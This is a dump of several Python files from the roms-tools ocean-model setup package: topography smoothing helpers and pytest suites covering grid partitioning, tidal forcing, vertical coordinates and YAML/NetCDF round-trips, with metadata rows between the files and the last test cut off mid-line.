grid_type=gcm_filters.GridType.REGULAR_WITH_LAND, grid_vars={"wet_mask": margin_mask}, ) hraw_extended = xr.concat([hraw, hraw.isel(eta_rho=-1)], dim="eta_rho") hraw_extended = xr.concat( [hraw_extended, hraw_extended.isel(xi_rho=-1)], dim="xi_rho" ) hsmooth = filter.apply(hraw_extended, dims=["eta_rho", "xi_rho"]) hsmooth = hsmooth.isel(eta_rho=slice(None, -1), xi_rho=slice(None, -1)) return hsmooth def _fill_enclosed_basins(mask) -> np.ndarray: """Fills in enclosed basins with land.""" # Label connected regions in the mask reg, nreg = label(mask) # Find the largest region lint = 0 lreg = 0 for ireg in range(nreg): int_ = np.sum(reg == ireg) if int_ > lint and mask[reg == ireg].sum() > 0: lreg = ireg lint = int_ # Remove regions other than the largest one for ireg in range(nreg): if ireg != lreg: mask[reg == ireg] = 0 return mask def _smooth_topography_locally(h, hmin=5, rmax=0.2): """Smoothes topography locally to satisfy r < rmax.""" # Compute rmax_log if rmax > 0.0: rmax_log = np.log((1.0 + rmax * 0.9) / (1.0 - rmax * 0.9)) else: rmax_log = 0.0 # Apply hmin threshold h = xr.where(h < hmin, hmin, h) # We will smooth logarithmically h_log = np.log(h / hmin) cf1 = 1.0 / 6 cf2 = 0.25 for iter in count(): # Compute gradients in domain interior # in eta-direction cff = h_log.diff("eta_rho").isel(xi_rho=slice(1, -1)) cr = np.abs(cff) with warnings.catch_warnings(): warnings.simplefilter("ignore") # Ignore division by zero warning Op1 = xr.where(cr < rmax_log, 0, 1.0 * cff * (1 - rmax_log / cr)) # in xi-direction cff = h_log.diff("xi_rho").isel(eta_rho=slice(1, -1)) cr = np.abs(cff) with warnings.catch_warnings(): warnings.simplefilter("ignore") # Ignore division by zero warning Op2 = xr.where(cr < rmax_log, 0, 1.0 * cff * (1 - rmax_log / cr)) # in diagonal direction cff = (h_log - h_log.shift(eta_rho=1, xi_rho=1)).isel( eta_rho=slice(1, None), xi_rho=slice(1, None) ) cr = np.abs(cff) with warnings.catch_warnings(): warnings.simplefilter("ignore") # Ignore division by zero warning Op3 = xr.where(cr < rmax_log, 0, 1.0 * cff * (1 - rmax_log / cr)) # in the other diagonal direction cff = (h_log.shift(eta_rho=1) - h_log.shift(xi_rho=1)).isel( eta_rho=slice(1, None), xi_rho=slice(1, None) ) cr = np.abs(cff) with warnings.catch_warnings(): warnings.simplefilter("ignore") # Ignore division by zero warning Op4 = xr.where(cr < rmax_log, 0, 1.0 * cff * (1 - rmax_log / cr)) # Update h_log in domain interior h_log[1:-1, 1:-1] += cf1 * ( Op1[1:, :] - Op1[:-1, :] + Op2[:, 1:] - Op2[:, :-1] + cf2 * (Op3[1:, 1:] - Op3[:-1, :-1] + Op4[:-1, 1:] - Op4[1:, :-1]) ) # No gradient at the domain boundaries h_log = _handle_boundaries(h_log) # Update h h = hmin * np.exp(h_log) # Apply hmin threshold again h = xr.where(h < hmin, hmin, h) # compute maximum slope parameter r r_eta, r_xi = _compute_rfactor(h) rmax0 = np.max([r_eta.max(), r_xi.max()]) if rmax0 < rmax: break return h def _handle_boundaries(field): """Adjust the boundaries of a 2D field by copying values from adjacent cells. Parameters ---------- field : numpy.ndarray or xarray.DataArray A 2D array representing a field (e.g., topography or mask) whose boundary values need to be adjusted. Returns ------- field : numpy.ndarray or xarray.DataArray The input field with adjusted boundary values. """ field[0, :] = field[1, :] field[-1, :] = field[-2, :] field[:, 0] = field[:, 1] field[:, -1] = field[:, -2] return field def _compute_rfactor(h): """Computes slope parameter (or r-factor) r = |Delta h| / 2h in both horizontal grid directions.""" # compute r_{i-1/2} = |h_i - h_{i-1}| / (h_i + h_{i+1}) r_eta = np.abs(h.diff("eta_rho")) / (h + h.shift(eta_rho=1)).isel( eta_rho=slice(1, None) ) r_xi = np.abs(h.diff("xi_rho")) / (h + h.shift(xi_rho=1)).isel( xi_rho=slice(1, None) ) return r_eta, r_xi def _add_topography_metadata(ds, topography_source, smooth_factor, hmin, rmax): ds.attrs["topography_source"] = topography_source ds.attrs["hmin"] = hmin return ds def _add_velocity_masks(ds): # add u- and v-masks ds["mask_u"] = interpolate_from_rho_to_u( ds["mask_rho"], method="multiplicative" ).astype(np.int32) ds["mask_v"] = interpolate_from_rho_to_v( ds["mask_rho"], method="multiplicative" ).astype(np.int32) ds["mask_u"].attrs = {"long_name": "Mask at u-points", "units": "land/water (0/1)"} ds["mask_v"].attrs = {"long_name": "Mask at v-points", "units": "land/water (0/1)"} return ds
10,348
Python
.py
242
35.735537
113
0.628187
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,717
test_utils.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_utils.py
import pytest from pathlib import Path import xarray.testing as xrt from roms_tools.utils import partition, partition_netcdf from roms_tools import Grid @pytest.fixture def grid(): grid = Grid(nx=30, ny=30, size_x=80, size_y=80, center_lon=-20, center_lat=0, rot=0) return grid class TestPartitionGrid: def test_partition_grid_along_x(self, grid): _, [ds1, ds2, ds3] = partition(grid.ds, np_eta=3, np_xi=1) assert ds1.sizes == { "eta_rho": 11, "xi_rho": 32, "xi_u": 31, "eta_v": 10, # "eta_psi": 11, # "xi_psi": 33, "eta_coarse": 6, "xi_coarse": 17, "s_rho": 100, "s_w": 101, } assert ds2.sizes == { "eta_rho": 10, "xi_rho": 32, "xi_u": 31, "eta_v": 10, # "eta_psi": 10, # "xi_psi": 33, "eta_coarse": 5, "xi_coarse": 17, "s_rho": 100, "s_w": 101, } assert ds3.sizes == { "eta_rho": 11, "xi_rho": 32, "xi_u": 31, "eta_v": 11, # "eta_psi": 12, # "xi_psi": 33, "eta_coarse": 6, "xi_coarse": 17, "s_rho": 100, "s_w": 101, } def test_partition_grid_along_y(self, grid): _, [ds1, ds2, ds3] = partition(grid.ds, np_eta=1, np_xi=3) assert ds1.sizes == { "eta_rho": 32, "xi_rho": 11, "xi_u": 10, "eta_v": 31, # "eta_psi": 33, # "xi_psi": 11, "eta_coarse": 17, "xi_coarse": 6, "s_rho": 100, "s_w": 101, } assert ds2.sizes == { "eta_rho": 32, "xi_rho": 10, "xi_u": 10, "eta_v": 31, # "eta_psi": 33, # "xi_psi": 10, "eta_coarse": 17, "xi_coarse": 5, "s_rho": 100, "s_w": 101, } assert ds3.sizes == { "eta_rho": 32, "xi_rho": 11, "xi_u": 11, "eta_v": 31, # "eta_psi": 33, # "xi_psi": 12, "eta_coarse": 17, "xi_coarse": 6, "s_rho": 100, "s_w": 101, } def test_partition_grid_along_xy(self, grid): # decomposition is increasing eta to the right, increasing xi down # fmt: off _, [ds1, ds2, ds3, ds4, ds5, ds6, ds7, ds8, ds9] = partition(grid.ds, np_eta=3, np_xi=3) # fmt: on assert ds1.sizes == { "eta_rho": 11, "xi_rho": 11, "xi_u": 10, "eta_v": 10, # "eta_psi": 11, # "xi_psi": 11, "eta_coarse": 6, "xi_coarse": 6, "s_rho": 100, "s_w": 101, } assert ds4.sizes == { "eta_rho": 10, "xi_rho": 11, "xi_u": 10, "eta_v": 10, "eta_coarse": 5, # "eta_psi": 10, # "xi_psi": 11, "xi_coarse": 6, "s_rho": 100, "s_w": 101, } assert ds7.sizes == { "eta_rho": 11, "xi_rho": 11, "xi_u": 10, "eta_v": 11, # "eta_psi": 12, # "xi_psi": 11, "eta_coarse": 6, "xi_coarse": 6, "s_rho": 100, "s_w": 101, } assert ds2.sizes == { "eta_rho": 11, "xi_rho": 10, "xi_u": 10, "eta_v": 10, # "eta_psi": 11, # "xi_psi": 10, "eta_coarse": 6, "xi_coarse": 5, "s_rho": 100, "s_w": 101, } assert ds5.sizes == { "eta_rho": 10, "xi_rho": 10, "xi_u": 10, "eta_v": 10, # "eta_psi": 10, # "xi_psi": 10, "eta_coarse": 5, "xi_coarse": 5, "s_rho": 100, "s_w": 101, } assert ds8.sizes == { "eta_rho": 11, "xi_rho": 10, "xi_u": 10, "eta_v": 11, # "eta_psi": 12, # "xi_psi": 10, "eta_coarse": 6, "xi_coarse": 5, "s_rho": 100, "s_w": 101, } assert ds3.sizes == { "eta_rho": 11, "xi_rho": 11, "xi_u": 11, "eta_v": 10, # "eta_psi": 11, # "xi_psi": 12, "eta_coarse": 6, "xi_coarse": 6, "s_rho": 100, "s_w": 101, } assert ds6.sizes == { "eta_rho": 10, "xi_rho": 11, "xi_u": 11, "eta_v": 10, # "eta_psi": 10, # "xi_psi": 12, "eta_coarse": 5, "xi_coarse": 6, "s_rho": 100, "s_w": 101, } assert ds9.sizes == { "eta_rho": 11, "xi_rho": 11, "xi_u": 11, "eta_v": 11, # "eta_psi": 12, # "xi_psi": 12, "eta_coarse": 6, "xi_coarse": 6, "s_rho": 100, "s_w": 101, } def test_partition_grid_no_op(self, grid): _, partitioned_datasets = partition(grid.ds, np_eta=1, np_xi=1) xrt.assert_identical(partitioned_datasets[0], grid.ds) def test_invalid_partitioning(self, grid): with pytest.raises( ValueError, match="np_eta and np_xi must be positive integers" ): partition(grid.ds, np_eta=3.0, np_xi=1) with pytest.raises( ValueError, match="np_eta and np_xi must be positive integers" ): partition(grid.ds, np_eta=-3, np_xi=1) with pytest.raises(ValueError, match="cannot be evenly divided"): partition(grid.ds, np_eta=4, np_xi=1) class TestPartitionMissingDims: def test_partition_missing_dims(self, grid): dims_to_drop = ["xi_u", "eta_v", "eta_coarse", "xi_coarse"] ds_missing_dims = grid.ds.drop_dims(dims_to_drop) _, partitioned_datasets = partition(ds_missing_dims, np_eta=1, np_xi=1) xrt.assert_identical(partitioned_datasets[0], ds_missing_dims) def test_partition_missing_all_dims(self, grid): # this is all the partitionable dims, so in this case the file will just be copied np_eta * np_xi times dims_to_drop = ["eta_rho", "xi_rho", "xi_u", "eta_v", "eta_coarse", "xi_coarse"] ds_missing_dims = grid.ds.drop_dims(dims_to_drop) _, partitioned_datasets = partition(ds_missing_dims, np_eta=1, np_xi=1) xrt.assert_identical(partitioned_datasets[0], ds_missing_dims) class TestFileNumbers: def test_partition_file_numbers(self, grid): np_eta = 3 np_xi = 5 file_numbers, _ = partition(grid.ds, np_eta=np_eta, np_xi=np_xi) # Generate the expected file numbers expected_file_numbers = list(range(np_eta * np_xi)) # Check if file_numbers is a continuous range without gaps assert set(file_numbers) == set(expected_file_numbers) class TestPartitionNetcdf: def test_partition_netcdf(self, grid, tmp_path): filepath = tmp_path / "test_grid.nc" grid.save(filepath) saved_filenames = partition_netcdf(filepath, np_eta=3, np_xi=3) filepath_str = str(filepath.with_suffix("")) expected_filepath_list = [ Path(filepath_str + f".{index}.nc") for index in range(9) ] assert saved_filenames == expected_filepath_list for expected_filepath in expected_filepath_list: assert expected_filepath.exists() expected_filepath.unlink()
7,966
Python
.py
249
20.831325
111
0.444604
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,718
test_tides.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_tides.py
import pytest from roms_tools import Grid, TidalForcing import xarray as xr from roms_tools.setup.download import download_test_data import textwrap from pathlib import Path from conftest import calculate_file_hash @pytest.fixture def grid_that_lies_within_bounds_of_regional_tpxo_data(): grid = Grid( nx=3, ny=3, size_x=1500, size_y=1500, center_lon=235, center_lat=25, rot=-20 ) return grid @pytest.fixture def grid_that_is_out_of_bounds_of_regional_tpxo_data(): grid = Grid( nx=3, ny=3, size_x=1800, size_y=1500, center_lon=235, center_lat=25, rot=-20 ) return grid @pytest.fixture def grid_that_straddles_dateline(): """Fixture for creating a domain that straddles the dateline.""" grid = Grid( nx=5, ny=5, size_x=1800, size_y=2400, center_lon=-10, center_lat=30, rot=20, ) return grid @pytest.fixture def grid_that_straddles_180_degree_meridian(): """Fixture for creating a domain that straddles 180 degree meridian.""" grid = Grid( nx=5, ny=5, size_x=1800, size_y=2400, center_lon=180, center_lat=30, rot=20, ) return grid @pytest.mark.parametrize( "grid_fixture", [ "grid_that_lies_within_bounds_of_regional_tpxo_data", "grid_that_is_out_of_bounds_of_regional_tpxo_data", "grid_that_straddles_dateline", "grid_that_straddles_180_degree_meridian", ], ) def test_successful_initialization_with_global_data(grid_fixture, request, use_dask): fname = download_test_data("TPXO_global_test_data.nc") grid = request.getfixturevalue(grid_fixture) tidal_forcing = TidalForcing( grid=grid, source={"name": "TPXO", "path": fname}, ntides=2, use_dask=use_dask ) assert isinstance(tidal_forcing.ds, xr.Dataset) assert "omega" in tidal_forcing.ds assert "ssh_Re" in tidal_forcing.ds assert "ssh_Im" in tidal_forcing.ds assert "pot_Re" in tidal_forcing.ds assert "pot_Im" in tidal_forcing.ds assert "u_Re" in tidal_forcing.ds assert "u_Im" in tidal_forcing.ds assert "v_Re" in tidal_forcing.ds assert "v_Im" in tidal_forcing.ds assert tidal_forcing.source == {"name": "TPXO", "path": fname} assert tidal_forcing.ntides == 2 def test_successful_initialization_with_regional_data( grid_that_lies_within_bounds_of_regional_tpxo_data, use_dask ): fname = download_test_data("TPXO_regional_test_data.nc") tidal_forcing = TidalForcing( grid=grid_that_lies_within_bounds_of_regional_tpxo_data, source={"name": "TPXO", "path": fname}, ntides=10, use_dask=use_dask, ) assert isinstance(tidal_forcing.ds, xr.Dataset) assert "omega" in tidal_forcing.ds assert "ssh_Re" in tidal_forcing.ds assert "ssh_Im" in tidal_forcing.ds assert "pot_Re" in tidal_forcing.ds assert "pot_Im" in tidal_forcing.ds assert "u_Re" in tidal_forcing.ds assert "u_Im" in tidal_forcing.ds assert "v_Re" in tidal_forcing.ds assert "v_Im" in tidal_forcing.ds assert tidal_forcing.source == {"name": "TPXO", "path": fname} assert tidal_forcing.ntides == 10 def test_unsuccessful_initialization_with_regional_data_due_to_nans( grid_that_is_out_of_bounds_of_regional_tpxo_data, use_dask ): fname = download_test_data("TPXO_regional_test_data.nc") with pytest.raises(ValueError, match="NaN values found"): TidalForcing( grid=grid_that_is_out_of_bounds_of_regional_tpxo_data, source={"name": "TPXO", "path": fname}, ntides=10, use_dask=use_dask, ) @pytest.mark.parametrize( "grid_fixture", ["grid_that_straddles_dateline", "grid_that_straddles_180_degree_meridian"], ) def test_unsuccessful_initialization_with_regional_data_due_to_no_overlap( grid_fixture, request, use_dask ): fname = download_test_data("TPXO_regional_test_data.nc") grid = request.getfixturevalue(grid_fixture) with pytest.raises( ValueError, match="Selected longitude range does not intersect with dataset" ): TidalForcing( grid=grid, source={"name": "TPXO", "path": fname}, ntides=10, use_dask=use_dask, ) def test_insufficient_number_of_consituents(grid_that_straddles_dateline, use_dask): fname = download_test_data("TPXO_global_test_data.nc") with pytest.raises(ValueError, match="The dataset contains fewer"): TidalForcing( grid=grid_that_straddles_dateline, source={"name": "TPXO", "path": fname}, ntides=10, use_dask=use_dask, ) def test_tidal_forcing_plot_save(tidal_forcing, tmp_path): """Test plot and save methods in the same test since we dask arrays are already computed.""" tidal_forcing.ds.load() tidal_forcing.plot(varname="ssh_Re", ntides=0) for file_str in ["test_tides", "test_tides.nc"]: # Create a temporary filepath using the tmp_path fixture for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Test saving without partitioning saved_filenames = tidal_forcing.save(filepath) # Check if the .nc file was created filepath = Path(filepath).with_suffix(".nc") assert saved_filenames == [filepath] assert filepath.exists() # Clean up the .nc file filepath.unlink() # Test saving with partitioning saved_filenames = tidal_forcing.save(filepath, np_eta=3, np_xi=3) filepath_str = str(filepath.with_suffix("")) expected_filepath_list = [ Path(filepath_str + f".{index}.nc") for index in range(9) ] assert saved_filenames == expected_filepath_list for expected_filepath in expected_filepath_list: assert expected_filepath.exists() expected_filepath.unlink() def test_roundtrip_yaml(tidal_forcing, tmp_path, use_dask): """Test that creating a TidalForcing object, saving its parameters to yaml file, and re-opening yaml file creates the same object.""" # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str tidal_forcing.to_yaml(filepath) tidal_forcing_from_file = TidalForcing.from_yaml(filepath, use_dask=use_dask) assert tidal_forcing == tidal_forcing_from_file filepath = Path(filepath) filepath.unlink() def test_files_have_same_hash(tidal_forcing, tmp_path, use_dask): yaml_filepath = tmp_path / "test_yaml.yaml" filepath1 = tmp_path / "test1.nc" filepath2 = tmp_path / "test2.nc" print(yaml_filepath) print(filepath1) print(filepath2) tidal_forcing.to_yaml(yaml_filepath) tidal_forcing.save(filepath1) tidal_forcing_from_file = TidalForcing.from_yaml(yaml_filepath, use_dask=use_dask) tidal_forcing_from_file.save(filepath2) hash1 = calculate_file_hash(filepath1) hash2 = calculate_file_hash(filepath2) assert hash1 == hash2, f"Hashes do not match: {hash1} != {hash2}" yaml_filepath.unlink() filepath1.unlink() filepath2.unlink() def test_from_yaml_missing_tidal_forcing(tmp_path, use_dask): yaml_content = textwrap.dedent( """\ --- roms_tools_version: 0.0.0 --- Grid: nx: 100 ny: 100 size_x: 1800 size_y: 2400 center_lon: -10 center_lat: 61 rot: -20 topography_source: ETOPO5 smooth_factor: 8 hmin: 5.0 rmax: 0.2 """ ) # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for yaml_filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Write YAML content to file if isinstance(yaml_filepath, Path): yaml_filepath.write_text(yaml_content) else: with open(yaml_filepath, "w") as f: f.write(yaml_content) with pytest.raises( ValueError, match="No TidalForcing configuration found in the YAML file." ): TidalForcing.from_yaml(yaml_filepath, use_dask=use_dask) yaml_filepath = Path(yaml_filepath) yaml_filepath.unlink()
8,603
Python
.py
230
30.308696
88
0.650138
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,719
test_vertical_coordinate.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_vertical_coordinate.py
import pytest from roms_tools import Grid def test_invalid_theta_s_value(): """Test the validation of the theta_s value.""" with pytest.raises(ValueError): Grid( nx=2, ny=2, size_x=500, size_y=1000, center_lon=0, center_lat=55, rot=10, N=3, theta_s=11.0, # Invalid value, should be 0 < theta_s <= 10 theta_b=2.0, hc=250.0, ) def test_invalid_theta_b_value(): """Test the validation of the theta_b value.""" with pytest.raises(ValueError): Grid( nx=2, ny=2, size_x=500, size_y=1000, center_lon=0, center_lat=55, rot=10, N=3, theta_s=5.0, theta_b=5.0, # Invalid value, should be 0 < theta_b <= 4 hc=250.0, ) def test_update_vertical_coordinate(): grid = Grid( nx=2, ny=2, size_x=500, size_y=1000, center_lon=0, center_lat=55, rot=10 ) assert grid.N == 100 assert grid.theta_s == 5.0 assert grid.theta_b == 2.0 assert grid.hc == 300.0 assert len(grid.ds.s_rho) == 100 grid.update_vertical_coordinate(N=3, theta_s=10.0, theta_b=1.0, hc=400.0) assert grid.N == 3 assert grid.theta_s == 10.0 assert grid.theta_b == 1.0 assert grid.hc == 400.0 assert len(grid.ds.s_rho) == 3 def test_plot(): grid = Grid( nx=2, ny=2, size_x=500, size_y=1000, center_lon=0, center_lat=55, rot=10, N=3, theta_s=5.0, theta_b=2.0, hc=250.0, ) grid.plot_vertical_coordinate("layer_depth_u", s=0) grid.plot_vertical_coordinate("layer_depth_rho", s=-1) grid.plot_vertical_coordinate("interface_depth_v", s=-1) grid.plot_vertical_coordinate("layer_depth_rho", eta=0) grid.plot_vertical_coordinate("layer_depth_u", eta=0) grid.plot_vertical_coordinate("layer_depth_v", eta=0) grid.plot_vertical_coordinate("interface_depth_rho", eta=0) grid.plot_vertical_coordinate("interface_depth_u", eta=0) grid.plot_vertical_coordinate("interface_depth_v", eta=0) grid.plot_vertical_coordinate("layer_depth_rho", xi=0) grid.plot_vertical_coordinate("layer_depth_u", xi=0) grid.plot_vertical_coordinate("layer_depth_v", xi=0) grid.plot_vertical_coordinate("interface_depth_rho", xi=0) grid.plot_vertical_coordinate("interface_depth_u", xi=0) grid.plot_vertical_coordinate("interface_depth_v", xi=0)
2,596
Python
.py
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25.346154
80
0.583633
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,720
test_utils.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_utils.py
from roms_tools.setup.utils import interpolate_from_climatology from roms_tools.setup.datasets import ERA5Correction from roms_tools.setup.download import download_test_data import xarray as xr def test_interpolate_from_climatology(use_dask): fname = download_test_data("ERA5_regional_test_data.nc") era5_times = xr.open_dataset(fname).time climatology = ERA5Correction(use_dask=use_dask) field = climatology.ds["ssr_corr"] interpolated_field = interpolate_from_climatology(field, "time", era5_times) assert len(interpolated_field.time) == len(era5_times)
585
Python
.py
11
49.545455
80
0.783831
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,721
test_grid.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_grid.py
import pytest import xarray as xr from roms_tools import Grid import importlib.metadata import textwrap from roms_tools.setup.download import download_test_data from conftest import calculate_file_hash from pathlib import Path @pytest.fixture() def counter_clockwise_rotated_grid(): grid = Grid( nx=1, ny=1, size_x=100, size_y=100, center_lon=-20, center_lat=0, rot=20 ) return grid @pytest.fixture() def clockwise_rotated_grid(): grid = Grid( nx=1, ny=1, size_x=100, size_y=100, center_lon=-20, center_lat=0, rot=-20 ) return grid def test_grid_creation(grid): assert grid.nx == 1 assert grid.ny == 1 assert grid.size_x == 100 assert grid.size_y == 100 assert grid.center_lon == -20 assert grid.center_lat == 0 assert grid.rot == 0 assert isinstance(grid.ds, xr.Dataset) @pytest.mark.parametrize( "grid_fixture", ["grid", "counter_clockwise_rotated_grid", "clockwise_rotated_grid"], ) def test_coords_relation(grid_fixture, request): """Test that the coordinates satisfy the expected relations on a C-grid.""" grid = request.getfixturevalue(grid_fixture) # psi versus rho # assert grid.ds.lon_psi.min() < grid.ds.lon_rho.min() # assert grid.ds.lon_psi.max() > grid.ds.lon_rho.max() # assert grid.ds.lat_psi.min() < grid.ds.lat_rho.min() # assert grid.ds.lat_psi.max() > grid.ds.lat_rho.max() # Assertion with tolerance is necessary for non-rotated grids def assert_larger_equal_than_with_tolerance(value1, value2, tolerance=1e-5): assert value1 >= value2 - tolerance def assert_smaller_equal_than_with_tolerance(value1, value2, tolerance=1e-5): assert value1 <= value2 + tolerance # u versus rho assert_larger_equal_than_with_tolerance(grid.ds.lon_u.min(), grid.ds.lon_rho.min()) assert_larger_equal_than_with_tolerance(grid.ds.lat_u.min(), grid.ds.lat_rho.min()) assert_smaller_equal_than_with_tolerance(grid.ds.lon_u.max(), grid.ds.lon_rho.max()) assert_smaller_equal_than_with_tolerance(grid.ds.lon_u.max(), grid.ds.lon_rho.max()) # v versus rho assert_larger_equal_than_with_tolerance(grid.ds.lon_v.min(), grid.ds.lon_rho.min()) assert_larger_equal_than_with_tolerance(grid.ds.lat_v.min(), grid.ds.lat_rho.min()) assert_smaller_equal_than_with_tolerance(grid.ds.lon_v.max(), grid.ds.lon_rho.max()) assert_smaller_equal_than_with_tolerance(grid.ds.lon_v.max(), grid.ds.lon_rho.max()) def test_plot_save_methods(tmp_path): grid = Grid( nx=20, ny=20, size_x=100, size_y=100, center_lon=-20, center_lat=0, rot=0 ) grid.plot(bathymetry=True) for file_str in ["test_grid", "test_grid.nc"]: # Create a temporary filepath using the tmp_path fixture for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Test saving without partitioning saved_filenames = grid.save(filepath) # Check if the .nc file was created filepath = Path(filepath).with_suffix(".nc") assert saved_filenames == [filepath] assert filepath.exists() # Clean up the .nc file filepath.unlink() # Test saving with partitioning saved_filenames = grid.save(filepath, np_eta=2, np_xi=5) filepath_str = str(filepath.with_suffix("")) expected_filepath_list = [ Path(filepath_str + f".{index}.nc") for index in range(10) ] assert saved_filenames == expected_filepath_list for expected_filepath in expected_filepath_list: assert expected_filepath.exists() expected_filepath.unlink() def test_raise_if_domain_too_large(): with pytest.raises(ValueError, match="Domain size has to be smaller"): Grid(nx=3, ny=3, size_x=30000, size_y=30000, center_lon=0, center_lat=51.5) # test grid with reasonable domain size grid = Grid( nx=3, ny=3, size_x=1800, size_y=2400, center_lon=-21, center_lat=61, rot=20, ) assert isinstance(grid, Grid) def test_grid_straddle_crosses_meridian(): grid = Grid( nx=3, ny=3, size_x=100, size_y=100, center_lon=0, center_lat=61, rot=20, ) assert grid.straddle grid = Grid( nx=3, ny=3, size_x=100, size_y=100, center_lon=180, center_lat=61, rot=20, ) assert not grid.straddle def test_compatability_with_matlab_grid(tmp_path): fname = download_test_data("grid_created_with_matlab.nc") grid = Grid.from_file(fname) assert not grid.straddle assert grid.theta_s == 5.0 assert grid.theta_b == 2.0 assert grid.hc == 300.0 assert grid.N == 100 assert grid.nx == 24 assert grid.ny == 24 assert grid.center_lon == -4.1 assert grid.center_lat == 52.4 assert grid.rot == 0.0 expected_coords = set( [ "lat_rho", "lon_rho", "lat_u", "lon_u", "lat_v", "lon_v", "lat_coarse", "lon_coarse", "layer_depth_rho", "layer_depth_u", "layer_depth_v", "interface_depth_rho", "interface_depth_u", "interface_depth_v", ] ) actual_coords = set(grid.ds.coords.keys()) assert actual_coords == expected_coords grid.plot(bathymetry=True) for file_str in ["test_grid", "test_grid.nc"]: # Create a temporary filepath using the tmp_path fixture for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Test saving without partitioning _ = grid.save(filepath) filepath = Path(filepath) # Load the grid from the file grid_from_file = Grid.from_file(filepath.with_suffix(".nc")) # Assert that the initial grid and the loaded grid are equivalent (including the 'ds' attribute) assert grid == grid_from_file # Clean up the .nc file (filepath.with_suffix(".nc")).unlink() def test_roundtrip_netcdf(tmp_path): """Test that creating a grid, saving it to file, and re-opening it is the same as just creating it.""" # Initialize a Grid object using the initializer grid_init = Grid( nx=10, ny=15, size_x=100.0, size_y=150.0, center_lon=0.0, center_lat=0.0, rot=0.0, topography_source="ETOPO5", hmin=5.0, ) for file_str in ["test_grid", "test_grid.nc"]: # Create a temporary filepath using the tmp_path fixture for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str grid_init.save(filepath) filepath = Path(filepath) # Load the grid from the file grid_from_file = Grid.from_file(filepath.with_suffix(".nc")) # Assert that the initial grid and the loaded grid are equivalent (including the 'ds' attribute) assert grid_init == grid_from_file # Clean up the .nc file (filepath.with_suffix(".nc")).unlink() def test_roundtrip_yaml(tmp_path): """Test that creating a grid, saving its parameters to yaml file, and re- opening yaml file creates the same grid.""" # Initialize a Grid object using the initializer grid_init = Grid( nx=10, ny=15, size_x=100.0, size_y=150.0, center_lon=0.0, center_lat=0.0, rot=0.0, topography_source="ETOPO5", hmin=5.0, ) # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str grid_init.to_yaml(filepath) grid_from_file = Grid.from_yaml(filepath) # Assert that the initial grid and the loaded grid are equivalent (including the 'ds' attribute) assert grid_init == grid_from_file filepath = Path(filepath) filepath.unlink() def test_files_have_same_hash(tmp_path): # Initialize a Grid object using the initializer grid_init = Grid( nx=10, ny=15, size_x=100.0, size_y=150.0, center_lon=0.0, center_lat=0.0, rot=0.0, topography_source="ETOPO5", hmin=5.0, ) yaml_filepath = tmp_path / "test_yaml" filepath1 = tmp_path / "test1.nc" filepath2 = tmp_path / "test2.nc" grid_init.to_yaml(yaml_filepath) grid_init.save(filepath1) grid_from_file = Grid.from_yaml(yaml_filepath) grid_from_file.save(filepath2) hash1 = calculate_file_hash(filepath1) hash2 = calculate_file_hash(filepath2) assert hash1 == hash2, f"Hashes do not match: {hash1} != {hash2}" yaml_filepath.unlink() filepath1.unlink() filepath2.unlink() def test_from_yaml_missing_version(tmp_path): yaml_content = textwrap.dedent( """\ Grid: nx: 100 ny: 100 size_x: 1800 size_y: 2400 center_lon: -10 center_lat: 61 rot: -20 topography_source: ETOPO5 hmin: 5.0 """ ) # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for yaml_filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Write YAML content to file if isinstance(yaml_filepath, Path): yaml_filepath.write_text(yaml_content) else: with open(yaml_filepath, "w") as f: f.write(yaml_content) with pytest.raises( ValueError, match="Version of ROMS-Tools not found in the YAML file." ): Grid.from_yaml(yaml_filepath) yaml_filepath = Path(yaml_filepath) yaml_filepath.unlink() def test_from_yaml_missing_grid(tmp_path): roms_tools_version = importlib.metadata.version("roms-tools") yaml_content = f"---\nroms_tools_version: {roms_tools_version}\n---\n" # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for yaml_filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Write YAML content to file if isinstance(yaml_filepath, Path): yaml_filepath.write_text(yaml_content) else: with open(yaml_filepath, "w") as f: f.write(yaml_content) with pytest.raises( ValueError, match="No Grid configuration found in the YAML file." ): Grid.from_yaml(yaml_filepath) yaml_filepath = Path(yaml_filepath) yaml_filepath.unlink() def test_from_yaml_version_mismatch(tmp_path): yaml_content = textwrap.dedent( """\ --- roms_tools_version: 0.0.0 --- Grid: nx: 100 ny: 100 size_x: 1800 size_y: 2400 center_lon: -10 center_lat: 61 rot: -20 topography_source: ETOPO5 hmin: 5.0 """ ) # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for yaml_filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Write YAML content to file if isinstance(yaml_filepath, Path): yaml_filepath.write_text(yaml_content) else: with open(yaml_filepath, "w") as f: f.write(yaml_content) with pytest.warns( UserWarning, match="Current roms-tools version.*does not match the version in the 